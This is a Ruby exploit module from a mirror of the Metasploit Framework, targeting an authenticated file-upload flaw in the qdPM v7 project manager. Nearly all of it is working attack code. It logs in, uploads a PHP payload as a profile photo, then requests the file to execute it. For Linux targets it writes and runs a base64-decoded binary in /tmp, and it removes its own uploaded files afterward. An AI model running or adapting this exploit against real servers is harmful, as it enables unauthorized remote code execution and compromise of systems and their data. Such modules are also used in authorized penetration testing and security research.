PageRenderTime 30ms CodeModel.GetById 24ms RepoModel.GetById 1ms app.codeStats 0ms

/modules/exploits/multi/http/qdpm_upload_exec.rb

https://gitlab.com/leijianbin/metasploit-framework
Ruby | 272 lines | 237 code | 28 blank | 7 comment | 15 complexity | 44ff10972e71a7444228b8c6974df936 MD5 | raw file
Possible License(s): BSD-3-Clause, Apache-2.0, GPL-2.0, LGPL-2.1
  1. ##
  2. # This module requires Metasploit: http//metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. class Metasploit3 < Msf::Exploit::Remote
  7. Rank = ExcellentRanking
  8. include Msf::Exploit::Remote::HttpClient
  9. include Msf::Exploit::EXE
  10. def initialize(info={})
  11. super(update_info(info,
  12. 'Name' => "qdPM v7 Arbitrary PHP File Upload Vulnerability",
  13. 'Description' => %q{
  14. This module exploits a vulnerability found in qdPM - a web-based project management
  15. software. The user profile's photo upload feature can be abused to upload any
  16. arbitrary file onto the victim server machine, which allows remote code execution.
  17. Please note in order to use this module, you must have a valid credential to sign
  18. in.
  19. },
  20. 'License' => MSF_LICENSE,
  21. 'Author' =>
  22. [
  23. 'loneferret', #Discovery, PoC
  24. 'sinn3r' #Metasploit
  25. ],
  26. 'References' =>
  27. [
  28. ['OSVDB', '82978'],
  29. ['EDB', '19154']
  30. ],
  31. 'Payload' =>
  32. {
  33. 'BadChars' => "\x00"
  34. },
  35. 'DefaultOptions' =>
  36. {
  37. 'ExitFunction' => "none"
  38. },
  39. 'Platform' => %w{ linux php },
  40. 'Targets' =>
  41. [
  42. [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
  43. [ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
  44. ],
  45. 'Privileged' => false,
  46. 'DisclosureDate' => "Jun 14 2012",
  47. 'DefaultTarget' => 0))
  48. register_options(
  49. [
  50. OptString.new('TARGETURI', [true, 'The base directory to sflog!', '/qdPM/']),
  51. OptString.new('USERNAME', [true, 'The username to login with']),
  52. OptString.new('PASSWORD', [true, 'The password to login with'])
  53. ], self.class)
  54. end
  55. def check
  56. uri = normalize_uri(target_uri.path)
  57. uri << '/' if uri[-1,1] != '/'
  58. base = File.dirname("#{uri}.")
  59. res = send_request_raw({'uri'=>normalize_uri(base, "/index.php")})
  60. if res and res.body =~ /<div id\=\"footer\"\>.+qdPM ([\d])\.([\d]).+\<\/div\>/m
  61. major, minor = $1, $2
  62. return Exploit::CheckCode::Vulnerable if (major+minor).to_i <= 70
  63. end
  64. return Exploit::CheckCode::Safe
  65. end
  66. def get_write_exec_payload(fname, data)
  67. p = Rex::Text.encode_base64(generate_payload_exe)
  68. php = %Q|
  69. <?php
  70. $f = fopen("#{fname}", "wb");
  71. fwrite($f, base64_decode("#{p}"));
  72. fclose($f);
  73. exec("chmod 777 #{fname}");
  74. exec("#{fname}");
  75. ?>
  76. |
  77. php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
  78. return php
  79. end
  80. def on_new_session(cli)
  81. if cli.type == "meterpreter"
  82. cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
  83. end
  84. @clean_files.each do |f|
  85. print_warning("#{@peer} - Removing: #{f}")
  86. begin
  87. if cli.type == 'meterpreter'
  88. cli.fs.file.rm(f)
  89. else
  90. cli.shell_command_token("rm #{f}")
  91. end
  92. rescue ::Exception => e
  93. print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
  94. end
  95. end
  96. end
  97. def login(base, username, password)
  98. # Login
  99. res = send_request_cgi({
  100. 'method' => 'POST',
  101. 'uri' => normalize_uri("#{base}/index.php/home/login"),
  102. 'vars_post' => {
  103. 'login[email]' => username,
  104. 'login[password]' => password,
  105. 'http_referer' => ''
  106. },
  107. # This needs to be set, otherwise we get two cookies... I don't need two cookies.
  108. 'cookie' => "qdpm=#{Rex::Text.rand_text_alpha(27)}",
  109. 'headers' => {
  110. 'Origin' => "http://#{rhost}",
  111. 'Referer' => "http://#{rhost}/#{base}/index.php/home/login"
  112. }
  113. })
  114. cookie = (res and res.headers['Set-Cookie'] =~ /qdpm\=.+\;/) ? res.headers['Set-Cookie'] : ''
  115. return {} if cookie.empty?
  116. cookie = cookie.to_s.scan(/(qdpm\=\w+)\;/).flatten[0]
  117. # Get user data
  118. vprint_status("#{@peer} - Enumerating user data")
  119. res = send_request_raw({
  120. 'uri' => "#{base}/index.php/home/myAccount",
  121. 'cookie' => cookie
  122. })
  123. return {} if not res
  124. if res.code == 404
  125. print_error("#{@peer} - #{username} does not actually have a 'myAccount' page")
  126. return {}
  127. end
  128. b = res.body
  129. user_id = b.scan(/\<input type\=\"hidden\" name\=\"users\[id\]\" value\=\"(.+)\" id\=\"users\_id\" \/\>/).flatten[0] || ''
  130. group_id = b.scan(/\<input type\=\"hidden\" name\=\"users\[users\_group\_id\]\" value\=\"(.+)\" id\=\"users\_users\_group\_id\" \/>/).flatten[0] || ''
  131. user_active = b.scan(/\<input type\=\"hidden\" name\=\"users\[active\]\" value\=\"(.+)\" id\=\"users\_active\" \/\>/).flatten[0] || ''
  132. opts = {
  133. 'cookie' => cookie,
  134. 'user_id' => user_id,
  135. 'group_id' => group_id,
  136. 'user_active' => user_active
  137. }
  138. return opts
  139. end
  140. def upload_php(base, opts)
  141. fname = opts['filename']
  142. php_payload = opts['data']
  143. user_id = opts['user_id']
  144. group_id = opts['group_id']
  145. user_active = opts['user_active']
  146. username = opts['username']
  147. email = opts['email']
  148. cookie = opts['cookie']
  149. data = Rex::MIME::Message.new
  150. data.add_part('UsersAccountForm', nil, nil, 'form-data; name="formName"')
  151. data.add_part('put', nil, nil, 'form-data; name="sf_method"')
  152. data.add_part(user_id, nil, nil, 'form-data; name="users[id]"')
  153. data.add_part(group_id, nil, nil, 'form-data; name="users[users_group_id]"')
  154. data.add_part(user_active, nil, nil, 'form-data; name="users[active]"')
  155. data.add_part('', nil, nil, 'form-data; name="users[skin]"')
  156. data.add_part(username, nil, nil, 'form-data; name="users[name]"')
  157. data.add_part(php_payload, nil, nil, "form-data; name=\"users[photo]\"; filename=\"#{fname}\"")
  158. data.add_part('', nil, nil, 'form-data; name="preview_photo"')
  159. data.add_part(email, nil, nil, 'form-data; name="users[email]"')
  160. data.add_part('en_US', nil, nil, 'form-data; name="users[culture]"')
  161. data.add_part('', nil, nil, 'form-data; name="new_password"')
  162. post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
  163. res = send_request_cgi({
  164. 'method' => 'POST',
  165. 'uri' => normalize_uri("#{base}/index.php/home/myAccount"),
  166. 'ctype' => "multipart/form-data; boundary=#{data.bound}",
  167. 'data' => post_data,
  168. 'cookie' => cookie,
  169. 'headers' => {
  170. 'Origin' => "http://#{rhost}",
  171. 'Referer' => "http://#{rhost}#{base}/index.php/home/myAccount"
  172. }
  173. })
  174. return (res and res.headers['Location'] =~ /home\/myAccount$/) ? true : false
  175. end
  176. def exec_php(base, opts)
  177. cookie = opts['cookie']
  178. # When we upload a file, it will be renamed. The 'myAccount' page has that info.
  179. res = send_request_cgi({
  180. 'uri' => normalize_uri("#{base}/index.php/home/myAccount"),
  181. 'cookie' => cookie
  182. })
  183. if not res
  184. print_error("#{@peer} - Unable to request the file")
  185. return
  186. end
  187. fname = res.body.scan(/\<input type\=\"hidden\" name\=\"preview\_photo\" id\=\"preview\_photo\" value\=\"(\d+\-\w+\.php)\" \/\>/).flatten[0] || ''
  188. if fname.empty?
  189. print_error("#{@peer} - Unable to extract the real filename")
  190. return
  191. end
  192. # Now that we have the filename, request it
  193. print_status("#{@peer} - Uploaded file was renmaed as '#{fname}'")
  194. send_request_raw({'uri'=>"#{base}/uploads/users/#{fname}"})
  195. handler
  196. end
  197. def exploit
  198. @peer = "#{rhost}:#{rport}"
  199. uri = normalize_uri(target_uri.path)
  200. uri << '/' if uri[-1,1] != '/'
  201. base = File.dirname("#{uri}.")
  202. user = datastore['USERNAME']
  203. pass = datastore['PASSWORD']
  204. print_status("#{@peer} - Attempt to login with '#{user}:#{pass}'")
  205. opts = login(base, user, pass)
  206. if opts.empty?
  207. print_error("#{@peer} - Login unsuccessful")
  208. return
  209. end
  210. php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
  211. @clean_files = [php_fname]
  212. case target['Platform']
  213. when 'php'
  214. p = "<?php #{payload.encoded} ?>"
  215. when 'linux'
  216. bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
  217. @clean_files << bin_name
  218. bin = generate_payload_exe
  219. p = get_write_exec_payload("/tmp/#{bin_name}", bin)
  220. end
  221. print_status("#{@peer} - Uploading PHP payload (#{p.length.to_s} bytes)...")
  222. opts = opts.merge({
  223. 'username' => user.scan(/^(.+)\@.+/).flatten[0] || '',
  224. 'email' => user,
  225. 'filename' => php_fname,
  226. 'data' => p
  227. })
  228. uploader = upload_php(base, opts)
  229. if not uploader
  230. print_error("#{@peer} - Unable to upload")
  231. return
  232. end
  233. print_status("#{@peer} - Executing '#{php_fname}'")
  234. exec_php(base, opts)
  235. end
  236. end